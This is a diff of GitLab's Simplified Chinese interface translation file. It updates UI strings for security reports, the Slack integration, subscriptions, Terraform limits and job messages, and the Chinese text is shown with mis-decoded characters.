@@ -37239,9 +37903,6 @@ msgstr "å‡çº§ä»¥ä¾¿åœ¨UI中使用æ¼æ´žç®¡ç†åŠŸèƒ½è¿›è¡Œäº¤äº’ã€è·Ÿè¸ªå’Œç§»å
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr "å‡çº§ä»¥ç®¡ç†æ¼æ´ž"
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr "æ¼æ´žç®¡ç†åŠŸèƒ½è°ƒæŸ¥"
-
msgid "SecurityReports|Vulnerability Report"
msgstr "æ¼æ´žæŠ¥å‘Š"
@@ -37260,9 +37921,6 @@ msgstr "您没有足够的æƒé™è®¿é—®æ­¤æŠ¥å‘Š"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "您必须以授æƒç”¨æˆ·èº«ä»½ç™»å½•æ‰èƒ½æŸ¥çœ‹æ­¤æŠ¥å‘Š"
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr "您的å馈对我们很é‡è¦ï¼æˆ‘们将在一周内å†æ¬¡è¯¢é—®ã€‚"
-
msgid "SecurityReports|scanned resources"
msgstr "扫æ资æº"
@@ -37327,7 +37985,7 @@ msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll
msgstr "请先从左侧边æ é€‰æ‹©ä¸€ä¸ªæ–‡ä»¶å¼€å§‹ç¼–辑,然åŽå°±å¯ä»¥æ交您的更改了。"
msgid "Select a group"
-msgstr ""
+msgstr "选择一个群组"
msgid "Select a label"
msgstr "选择一个标记"
@@ -37435,7 +38093,7 @@ msgid "Select reviewer(s)"
msgstr "选择审核者"
msgid "Select severity (optional)"
-msgstr ""
+msgstr "选择严é‡æ€§ï¼ˆå¯é€‰ï¼‰"
msgid "Select source"
msgstr "选择æº"
@@ -37925,7 +38583,7 @@ msgid "Shared Runners"
msgstr "共享Runner"
msgid "Shared Runners:"
-msgstr ""
+msgstr "共享 Runner:"
msgid "Shared projects"
msgstr "共享项目"
@@ -38041,6 +38699,9 @@ msgstr "显示文件æµè§ˆå™¨"
msgid "Show file contents"
msgstr "显示文件内容"
+msgid "Show filters"
+msgstr "显示过滤器"
+
msgid "Show group milestones"
msgstr "显示群组里程碑"
@@ -38054,7 +38715,7 @@ msgid "Show list"
msgstr "显示列表"
msgid "Show more"
-msgstr ""
+msgstr "显示更多"
msgid "Show one file at a time"
msgstr "一次显示一个文件"
@@ -38255,9 +38916,6 @@ msgstr "登录和帮助页é¢"
msgid "Sign-in count:"
msgstr "登录次数"
-msgid "Sign-in failed because %{error}."
-msgstr "登录失败,因为 %{error}。"
-
msgid "Sign-in page"
msgstr "登录页é¢"
@@ -38367,7 +39025,7 @@ msgid "Slack logo"
msgstr "Slack logo"
msgid "SlackIntegration|Are you sure you want to remove this project from the GitLab for Slack app?"
-msgstr ""
+msgstr "您确定è¦ä»Ž GitLab for Slack 应用中删除此项目å—?"
msgid "SlackIntegration|Client ID"
msgstr "客户端 ID"
@@ -38382,16 +39040,13 @@ msgid "SlackIntegration|GitLab for Slack was successfully installed."
msgstr "GitLab for Slack å·²æˆåŠŸå®‰è£…。"
msgid "SlackIntegration|Install GitLab for Slack app"
-msgstr ""
-
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
+msgstr "安装 GitLab for Slack 应用"
msgid "SlackIntegration|Project alias"
msgstr "项目别å"
msgid "SlackIntegration|Reinstall GitLab for Slack app"
-msgstr ""
+msgstr "é‡æ–°å®‰è£… GitLab for Slack 应用"
msgid "SlackIntegration|Remove project"
msgstr "删除项目"
@@ -38415,7 +39070,13 @@ msgid "SlackIntegration|This integration allows users to perform common operatio
msgstr "此集æˆå…许用户通过在 Slack 中输入指令æ¥å¯¹è¯¥é¡¹ç›®æ‰§è¡Œå¸¸ç”¨æ“作。"
msgid "SlackIntegration|Update to the latest version"
-msgstr ""
+msgstr "更新到最新版本"
+
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr "更新到最新版本的 GitLab for Slack 以获å–通知"
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr "更新到最新版本以接收æ¥è‡ª GitLab 的通知。"
msgid "SlackIntegration|Verification token"
msgstr "验è¯ä»¤ç‰Œ"
@@ -38424,7 +39085,7 @@ msgid "SlackIntegration|You can now close this window and go to your Slack works
msgstr "您现在å¯ä»¥å…³é—­æ­¤çª—å£å¹¶è½¬åˆ°æ‚¨çš„ Slack 工作区。"
msgid "SlackIntegration|You may need to reinstall the GitLab for Slack app when we %{linkStart}make updates or change permissions%{linkEnd}."
-msgstr ""
+msgstr "%{linkStart}更新或更改æƒé™%{linkEnd}时,您å¯èƒ½éœ€è¦é‡æ–°å®‰è£… GitLab for Slack 应用。"
msgid "SlackService|1. %{slash_command_link_start}Add a slash command%{slash_command_link_end} in your Slack team using this information:"
msgstr "1. %{slash_command_link_start}在您的Slack团队中使用此信æ¯æ·»åŠ ä¸€ä¸ªæ–œæ å‘½ä»¤%{slash_command_link_end}:"
@@ -38444,11 +39105,11 @@ msgstr "填写最适åˆä½ çš„团队的文字。"
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr "通过在Slack中输入指令æ¥æ‰§è¡Œè¿™ä¸ªé¡¹ç›®ä¸­çš„常用æ“作。"
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
-msgstr "%{asterisk}步骤 1 %{asterisk} 连接您的 GitLab å¸æˆ·å¼€å§‹æ“作。"
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
+msgstr "%{asterisk}频é“通知%{asterisk}"
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
-msgstr "%{asterisk}步骤 2 %{asterisk} 试试å§ï¼"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
+msgstr "%{asterisk}Slash 命令%{asterisk}"
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
msgstr "%{emoji} 连接到 GitLab å¸æˆ· %{account}"
@@ -38459,23 +39120,17 @@ msgstr "%{emoji} 欢迎使用 GitLab for Slackï¼"
msgid "Slack|Connect your GitLab account"
msgstr "连接您的 GitLab å¸æˆ·"
-msgid "Slack|Create a new issue"
-msgstr "创建新议题"
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr "从 Slack 创建新议题:%{command}"
-
-msgid "Slack|Run a CI/CD job"
-msgstr "è¿è¡Œä¸€ä¸ª CI/CD 作业"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
+msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr "查看å¯ç”¨å‘½ä»¤åˆ—表:%{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
+msgstr "GitLab for Slack 现在支æŒåŸºäºŽé¢‘é“的通知。让您的团队知é“何时创建新议题或è¿è¡Œæ–°çš„ CI/CD 作业。%{startMarkup}了解更多%{endMarkup}。"
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr "使用 ChatOps 简化您的部署。é…置完 %{startMarkup}CI/CD æµæ°´çº¿%{endMarkup}åŽï¼Œå°è¯•ï¼š%{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
+msgstr "è¦å¼€å§‹ä½¿ç”¨é€šçŸ¥ï¼Œ %{startMarkup}在项目设置中å¯ç”¨ Slack 集æˆ%{endMarkup}。"
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
-msgstr "在 Slack 中工作时查看和控制 GitLab 内容。在您的èŠå¤©å®¢æˆ·ç«¯ä¸­é”®å…¥å‘½ä»¤ä½œä¸ºæ¶ˆæ¯å¯ä»¥æ¿€æ´»å®ƒã€‚%{startMarkup}了解更多%{endMarkup}。"
+msgid "Slack|To start using slash commands, connect your GitLab account."
+msgstr "è¦å¼€å§‹ä½¿ç”¨ slash 命令,请连接您的 GitLab å¸æˆ·ã€‚"
msgid "Slice multiplier"
msgstr "切片å€æ•°"
@@ -38562,7 +39217,7 @@ msgid "Some common domains are not allowed. %{learn_more_link}."
msgstr "æŸäº›å¸¸è§åŸŸåä¸è¢«å…许。%{learn_more_link}"
msgid "Someone edited the %{issuableType} at the same time you did. Review %{linkStart}the %{issuableType}%{linkEnd} and make sure you don't unintentionally overwrite their changes."
-msgstr ""
+msgstr "有人与您åŒæ—¶ç¼–辑了 %{issuableType}。查看 %{linkStart}%{issuableType}%{linkEnd},确ä¿æ‚¨ä¸ä¼šæ— æ„中覆盖他们的更改。"
msgid "Someone edited the file the same time you did. Please check out %{link_start}the file %{icon}%{link_end} and make sure your changes will not unintentionally remove theirs."
msgstr "有人在您编辑文件的åŒæ—¶ç¼–辑了该文件。请检查 %{link_start}文件 %{icon}%{link_end} 并确ä¿æ‚¨çš„更改ä¸ä¼šæ— æ„中删除他们的更改。"
@@ -38607,7 +39262,7 @@ msgid "Something went wrong when reordering designs. Please try again"
msgstr "é‡æ–°æŽ’åºè®¾è®¡æ—¶å‡ºäº†ç‚¹é—®é¢˜ã€‚请å†è¯•ä¸€æ¬¡"
msgid "Something went wrong when sending the incident link to Slack."
-msgstr ""
+msgstr "将事件链接å‘é€åˆ° Slack 时出错。"
msgid "Something went wrong while adding timeline event."
msgstr "添加时间线事件时出错。"
@@ -38628,7 +39283,7 @@ msgid "Something went wrong while closing the epic. Please try again later."
msgstr "关闭å²è¯—时出了错。请ç¨åŽå†è¯•ã€‚"
msgid "Something went wrong while closing the incident form."
-msgstr ""
+msgstr "关闭事件表å•æ—¶å‡ºé”™ã€‚"
msgid "Something went wrong while closing the merge request. Please try again later."
msgstr "关闭åˆå¹¶è¯·æ±‚时出错。请ç¨åŽå†è¯•ã€‚"
@@ -38700,7 +39355,7 @@ msgid "Something went wrong while obtaining the Let's Encrypt certificate."
msgstr "获å–Let's Encryptè¯ä¹¦æ—¶å‡ºäº†é”™ã€‚"
msgid "Something went wrong while opening the incident form."
-msgstr ""
+msgstr "打开事件表å•æ—¶å‡ºé”™ã€‚"
msgid "Something went wrong while promoting the issue to an epic. Please try again."
msgstr "将议题å‡çº§åˆ°å²è¯—时出错。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -38972,6 +39627,12 @@ msgstr "æºIP"
msgid "Source branch"
msgstr "æºåˆ†æ”¯"
+msgid "Source branch does not exist"
+msgstr "æºåˆ†æ”¯ä¸å­˜åœ¨"
+
+msgid "Source branch is protected from force push"
+msgstr "æºåˆ†æ”¯å—到强制推é€ä¿æŠ¤"
+
msgid "Source branch will be deleted."
msgstr "æºåˆ†æ”¯å°†è¢«åˆ é™¤ã€‚"
@@ -39096,7 +39757,7 @@ msgid "Spent at"
msgstr "花费在"
msgid "Spent at can't be a future date and time."
-msgstr ""
+msgstr "花费时间ä¸èƒ½æ˜¯æœªæ¥çš„日期和时间。"
msgid "Squash commit message"
msgstr "压缩æ交消æ¯"
@@ -39167,15 +39828,15 @@ msgstr "由此更改 %{new_merge_request}"
msgid "Start a Free Ultimate Trial"
msgstr "开始å…费试用旗舰版"
-msgid "Start a new discussion…"
-msgstr "开始一个新的讨论..."
-
msgid "Start a new merge request with these changes"
msgstr "使用这些更改开始新的åˆå¹¶è¯·æ±‚"
msgid "Start a review"
msgstr "å¯åŠ¨è¯„审"
+msgid "Start another thread"
+msgstr "开始å¦ä¸€ä¸ªä¸»é¢˜"
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "首先选择一个群组以开始æµè§ˆè¯¥ç¾¤ç»„中的åˆå¹¶è¯·æ±‚。然åŽæ‚¨å¯ä»¥æŒ‰é¡¹ç›®ã€æ ‡è®°ã€é‡Œç¨‹ç¢‘和作者进行筛选。"
@@ -39204,7 +39865,7 @@ msgid "Start merge train..."
msgstr "å¯åŠ¨åˆå¹¶é˜Ÿåˆ—..."
msgid "Start remote connection"
-msgstr ""
+msgstr "å¯åŠ¨è¿œç«¯è¿žæŽ¥"
msgid "Start search"
msgstr "开始æœç´¢"
@@ -39270,7 +39931,7 @@ msgid "Status"
msgstr "状æ€"
msgid "Status (optional)"
-msgstr ""
+msgstr "状æ€ï¼ˆå¯é€‰ï¼‰"
msgid "Status was retried."
msgstr "状æ€å·²é‡è¯•ã€‚"
@@ -39665,18 +40326,36 @@ msgstr "使用次数将在æ¯å¤©ä¸­åˆ12:00进行更新。"
msgid "Subscriptions"
msgstr "订阅"
+msgid "Subscriptions|Activation date"
+msgstr "激活日期"
+
msgid "Subscriptions|Chat with sales"
msgstr "与销售沟通"
msgid "Subscriptions|Close"
msgstr "关闭"
+msgid "Subscriptions|End date"
+msgstr "结æŸæ—¥æœŸ"
+
+msgid "Subscriptions|End date:"
+msgstr "结æŸæ—¥æœŸï¼š"
+
+msgid "Subscriptions|Last sync"
+msgstr "上次åŒæ­¥"
+
+msgid "Subscriptions|None"
+msgstr "æ— "
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr "尚未准备好购买?"
msgid "Subscriptions|Start a free trial"
msgstr "开始å…费试用"
+msgid "Subscriptions|Start date"
+msgstr "开始日期"
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr "我们ç†è§£ï¼Œä¹Ÿè®¸æ‚¨å¯¹æˆ‘们的销售团队有一些问题,或者想先å°è¯•ä¸€äº›ä»˜è´¹åŠŸèƒ½ã€‚您想åšä»€ä¹ˆï¼Ÿ"
@@ -39893,6 +40572,9 @@ msgstr "由于席ä½ä¸åŒ¹é…而无法激活"
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr "由于校正值ä¸åŒ¹é…而无法激活"
+msgid "SuperSonics|Add activation code"
+msgstr "添加激活ç "
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr "添加您的订阅时å‘生错误。"
@@ -39911,8 +40593,8 @@ msgstr "云授æƒ"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr "Cloud 许å¯çŽ°å·²æŽ¨å‡ºã€‚这是激活实例和管ç†è®¢é˜…的更简å•æ–¹æ³•ã€‚阅读 %{blogPostLinkStart}åšå®¢æ–‡ç« %{blogPostLinkEnd}中的更多相关信æ¯ã€‚激活ç åœ¨ %{portalLinkStart}客户门户%{portalLinkEnd}中å¯ç”¨ã€‚"
-msgid "SuperSonics|Enter activation code"
-msgstr "输入激活ç "
+msgid "SuperSonics|Customers Portal"
+msgstr "Customers Portal"
msgid "SuperSonics|Export license usage file"
msgstr "导出许å¯è¯ä½¿ç”¨æ–‡ä»¶"
@@ -39932,9 +40614,6 @@ msgstr "了解有关 %{activationLinkStart}激活您的订阅%{activationLinkEnd
msgid "SuperSonics|Licensed to"
msgstr "授æƒ"
-msgid "SuperSonics|Manage"
-msgstr "管ç†"
-
msgid "SuperSonics|Maximum users"
msgstr "最大用户数"
@@ -40009,7 +40688,7 @@ msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obl
msgstr "您å¯ä»¥å¼€å§‹å…费试用 GitLab 旗舰版,无需任何承诺或付款信æ¯ã€‚"
msgid "SuperSonics|You can sync your subscription data to ensure your details are up to date."
-msgstr ""
+msgstr "您å¯ä»¥åŒæ­¥æ‚¨çš„订阅数æ®ï¼Œç¡®ä¿æ‚¨çš„详细信æ¯æ˜¯æœ€æ–°çš„。"
msgid "SuperSonics|You do not have an active subscription"
msgstr "您没有有效订阅"
@@ -40384,10 +41063,10 @@ msgid "TasksToBeDone|Set up CI/CD pipelines to build, test, deploy, and monitor
msgstr "设置 CI/CD æµæ°´çº¿æ¥æž„建ã€æµ‹è¯•ã€éƒ¨ç½²å’Œç›‘视代ç "
msgid "Tasks|%{complete_count} of %{total_count} %{checklist_item_noun} completed"
-msgstr ""
+msgstr "%{complete_count}/%{total_count} %{checklist_item_noun} 已完æˆ"
msgid "Tasks|%{complete_count}/%{total_count} %{checklist_item_noun}"
-msgstr ""
+msgstr "%{complete_count}/%{total_count} %{checklist_item_noun}"
msgid "Team"
msgstr "团队"
@@ -40422,15 +41101,6 @@ msgstr "åªèƒ½è®¾ç½®ä¸€æ¬¡"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr "åªèƒ½è®¾ç½®ä¸ºå¤§äºŽ%{percentage}%%使用é‡"
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr "GitLabå…许您申请%{strongStart}å…费的一次性存储增加%{strongEnd}。 您在30天内将å¯ä½¿ç”¨æ— é™çš„存储空间。这将使您有时间å‡å°‘您的存储使用é‡ã€‚ 30天åŽï¼Œæ‚¨çš„原始存储é™åˆ¶%{limit}将生效。如果您的存储使用已达容é‡ä¸Šé™ï¼Œæ‚¨çš„账户将å˜ä¸ºåªè¯»ã€‚如需继续使用 GitLab ,您必须购买更多的存储或å‡å°‘存储使用é‡ã€‚"
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr "临时增加存储"
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr "现在临时增加存储å—?"
-
msgid "Terminal"
msgstr "终端"
@@ -40461,6 +41131,21 @@ msgstr "GitLab 管ç†çš„ Terraform state åŽç«¯å¯ä»¥è½»æ¾å®‰å…¨åœ°å­˜å‚¨æ‚¨çš„
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr "使用 Terraform?å°è¯• GitLab 托管 Terraform State"
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr "了解更多关于 Terraform é™åˆ¶çš„ä¿¡æ¯ã€‚"
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr "Terraform 功能的é™åˆ¶"
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr "Terraform 状æ€æ–‡ä»¶çš„最大文件大å°ï¼ˆå­—节数)。设置为 0 表示无é™åˆ¶ã€‚"
+
+msgid "TerraformLimits|Terraform limits"
+msgstr "Terraform é™åˆ¶"
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr "Terraform 状æ€å¤§å°é™åˆ¶ï¼ˆå­—节)"
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} å·²æˆåŠŸåˆ é™¤"
@@ -40723,9 +41408,6 @@ msgstr "在测试报告中没有找到测试用例。"
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr "测试报告需è¦äº§ç‰©ï¼Œä½†æ‰€æœ‰äº§ç‰©å·²è¿‡æœŸã€‚%{linkStart}了解更多%{linkEnd}"
-msgid "TestReports|Tests"
-msgstr "测试"
-
msgid "TestReports|There are no test cases to display."
msgstr "没有è¦æ˜¾ç¤ºçš„测试案例。"
@@ -40965,7 +41647,7 @@ msgid "The following SSH key was deleted by an administrator, %{username}."
msgstr "以下SSH密钥已由管ç†å‘˜ %{username}删除。"
msgid "The following files or directories can only be modified by the user who locked them."
-msgstr ""
+msgstr "以下文件或目录åªèƒ½ç”±é”定它们的用户修改。"
msgid "The following items will NOT be exported:"
msgstr "以下项目将ä¸ä¼šè¢«å¯¼å‡ºï¼š"
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] "因为设置了新的个人访问令牌过期策略,以下个人访问令牌已被撤销:%{token_names} 。"
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "派生关系已被删除。"
@@ -41125,6 +41810,9 @@ msgstr "CI/CD é…置文件的å称。相对于根目录的路径是å¯é€‰çš„(
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr "Jenkins 项目的å称。将 URL 末尾的å称å¤åˆ¶åˆ°é¡¹ç›®ä¸­ã€‚"
+msgid "The new Web IDE"
+msgstr "æ–°çš„ Web IDE"
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr "克隆仓库时è¦ä»Ž GitLab 获å–的更改数é‡ï¼Œè¾ƒä½Žçš„值å¯ä»¥åŠ é€Ÿæµæ°´çº¿æ‰§è¡Œã€‚ 设置为 %{code_open}0%{code_close} 或空白以获å–æ¯ä¸ªä½œä¸šçš„所有分支和标签"
@@ -41329,6 +42017,9 @@ msgstr "没有垃圾邮件日志"
msgid "There are no abuse reports!"
msgstr "没有滥用报告ï¼"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr "给定的 `represent_as` å‚数没有批准规则。请改用有效的用户/群组/角色å称。"
+
msgid "There are no archived requirements"
msgstr "没有已归档的需求"
@@ -41432,7 +42123,7 @@ msgid "There was a problem communicating with your device."
msgstr "与您的设备通信时出现问题。"
msgid "There was a problem creating the incident. Please try again."
-msgstr ""
+msgstr "创建事件时出错。请é‡è¯•ã€‚"
msgid "There was a problem fetching CRM contacts."
msgstr "èŽ·å– CRM è”系人时出错。"
@@ -41555,7 +42246,7 @@ msgid "There was an error fetching the environments information."
msgstr "获å–环境信æ¯æ—¶å‡ºé”™ã€‚"
msgid "There was an error fetching the job."
-msgstr ""
+msgstr "获å–作业时出错。"
msgid "There was an error fetching the jobs for your project."
msgstr "为您的项目获å–作业时出错。"
@@ -41597,7 +42288,7 @@ msgid "There was an error retrieving the Jira users."
msgstr "获å–Jira用户时出错。"
msgid "There was an error running the job. Please try again."
-msgstr ""
+msgstr "è¿è¡Œä½œä¸šæ—¶å‡ºé”™ã€‚请é‡è¯•ã€‚"
msgid "There was an error saving your changes."
msgstr "ä¿å­˜å˜æ›´æ—¶å‡ºé”™ã€‚"
@@ -41677,6 +42368,9 @@ msgstr "第三方建议链接"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "æ­¤%{issuableDisplayName}被é”定。åªæœ‰é¡¹ç›®æˆå‘˜å¯ä»¥è¯„论。"
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "æ­¤%{issuable}已被é”定。åªæœ‰%{strong_open}项目æˆå‘˜%{strong_close}æ‰å¯ä»¥å‘表评论。"
@@ -41779,21 +42473,27 @@ msgstr "此评论在您开始编辑åŽå‘生了å˜åŒ–。查看 %{startTag}æ›´æ–°
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "æ­¤æ交是åˆå¹¶è¯·æ±‚ %{link_to_merge_request} 的一部分。此处创建的评论将在该åˆå¹¶è¯·æ±‚的上下文中创建。"
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr "æ­¤æ交使用 %{strong_open}多个%{strong_close} ç­¾å进行签署。"
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "æ­¤æ交使用%{strong_open}已验è¯çš„%{strong_close}ç­¾å进行签署,并且已验è¯æ交者的电å­é‚®ä»¶å±žäºŽåŒä¸€ç”¨æˆ·ã€‚"
msgid "This commit was signed with a different user's verified signature."
msgstr "æ­¤æ交使用其他用户的已验è¯ç­¾å进行签å。"
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr "æ­¤æ交已使用ç»è¿‡éªŒè¯çš„ç­¾å进行签å,但æ交者电å­é‚®ä»¶æœªä¸Ž GPG 密钥关è”。"
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "æ­¤æ交使用%{strong_open}未ç»éªŒè¯çš„%{strong_close}ç­¾å进行签署。"
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "由于%{reason},无法显示此内容。您å¯ä»¥%{options}以代替。"
@@ -41882,7 +42582,7 @@ msgid "This epic would exceed maximum number of related epics."
msgstr "æ­¤å²è¯—将超过相关å²è¯—的最大数é‡ã€‚"
msgid "This experiment has no logged candidates"
-msgstr ""
+msgstr "此实验没有已记录的候选项"
msgid "This feature requires local storage to be enabled"
msgstr "此功能需è¦æœ¬åœ°å­˜å‚¨ä»¥å¯ç”¨"
@@ -41903,7 +42603,7 @@ msgid "This group"
msgstr "当å‰ç¾¤ç»„"
msgid "This group and its subgroups and projects will be placed in a 'pending deletion' state for %{deletion_delayed_period} days, then permanently deleted on %{date}. The group can be fully restored before that date."
-msgstr ""
+msgstr "此群组åŠå…¶å­ç»„和项目将被处于为期 %{deletion_delayed_period} 天的“待删除â€çŠ¶æ€ã€‚然åŽåœ¨ %{date} 永久删除,您å¯ä»¥åœ¨è¯¥æ—¥æœŸä¹‹å‰å®Œå…¨æ¢å¤è¯¥ç¾¤ç»„。"
msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
msgstr "此群组ä¸èƒ½è¢«åˆ é™¤ï¼Œå› ä¸ºå®ƒå·²é“¾æŽ¥åˆ°ä¸€ä¸ªè®¢é˜…,è¦åˆ é™¤æ­¤ç¾¤ç»„, %{linkStart}将订阅%{linkEnd} 链接到å¦ä¸€ä¸ªç¾¤ç»„。"
@@ -42016,6 +42716,9 @@ msgstr "此作业无输出日志。"
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr "此作业ä¸ä¼šè‡ªåŠ¨è¿è¡Œï¼Œå¿…须手动å¯åŠ¨ï¼Œä½†æ‚¨æ— æƒè®¿é—®å®ƒã€‚"
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "此作业已å–消"
@@ -42091,9 +42794,6 @@ msgstr "此作业正在等待资æºï¼š "
msgid "This job requires a manual action"
msgstr "作业需手动æ“作"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr "此作业需è¦æ‰‹åŠ¨å¹²é¢„æ‰èƒ½å¼€å§‹ã€‚在å¯åŠ¨æ¬¡ä½œä¸šä¹‹å‰ï¼Œæ‚¨å¯ä»¥åœ¨ä¸‹é¢æ·»åŠ å˜é‡ï¼Œè¿›è¡Œæœ€åŽæ—¶åˆ»çš„é…置更改。"
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr "该作业将在计时器完æˆåŽè‡ªåŠ¨è¿è¡Œã€‚它们通常用于生产环境的增é‡éƒ¨ç½²ã€‚未计划时,它会转æ¢ä¸ºæ‰‹åŠ¨æ“作。"
@@ -42298,8 +42998,8 @@ msgstr "该用户是%{noteable}的作者。"
msgid "This variable can not be masked."
msgstr "æ­¤å˜é‡æ— æ³•è¢«éšè—。"
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
-msgstr "该æ¼æ´žç±»åž‹å·²ä»Ž GitLab 的默认规则集中弃用并自动解决。"
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
+msgstr "该æ¼æ´žå·²è‡ªåŠ¨è§£å†³ï¼Œå› ä¸ºå…¶æ¼æ´žç±»åž‹å·²åœ¨æ­¤é¡¹ç›®ä¸­ç¦ç”¨æˆ–已从 GitLab 的默认规则集中删除。"
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
msgstr "这会使您注册的应用程åºå’Œ U2F / WebAuthn 设备无效。"
@@ -42377,10 +43077,10 @@ msgid "Time spent"
msgstr "花费的时间"
msgid "Time spent can't be zero."
-msgstr ""
+msgstr "花费时间ä¸èƒ½ä¸ºé›¶ã€‚"
msgid "Time spent must be formatted correctly. For example: 1h 30m."
-msgstr ""
+msgstr "时间花费必须正确格å¼åŒ–。例如:1h 30m。"
msgid "Time to Restore Service"
msgstr "æ¢å¤æœåŠ¡æ—¶é—´"
@@ -42631,7 +43331,7 @@ msgid "Title:"
msgstr "标题:"
msgid "Titles"
-msgstr ""
+msgstr "标题"
msgid "Titles and Descriptions"
msgstr "标题和æè¿°"
@@ -42738,6 +43438,10 @@ msgstr "为了帮助改进GitLab,我们会定期%{docs_link}。您å¯ä»¥éšæ—¶
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "è¦å¯¼å…¥SVN仓库,请查看 %{svn_link}。"
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr "为了ä¿æŒè¿™ä¸ªé¡¹ç›®çš„进行,请创建一个新的议题"
@@ -42877,7 +43581,7 @@ msgid "Todos|Design"
msgstr "设计"
msgid "Todos|Due %{due_date}"
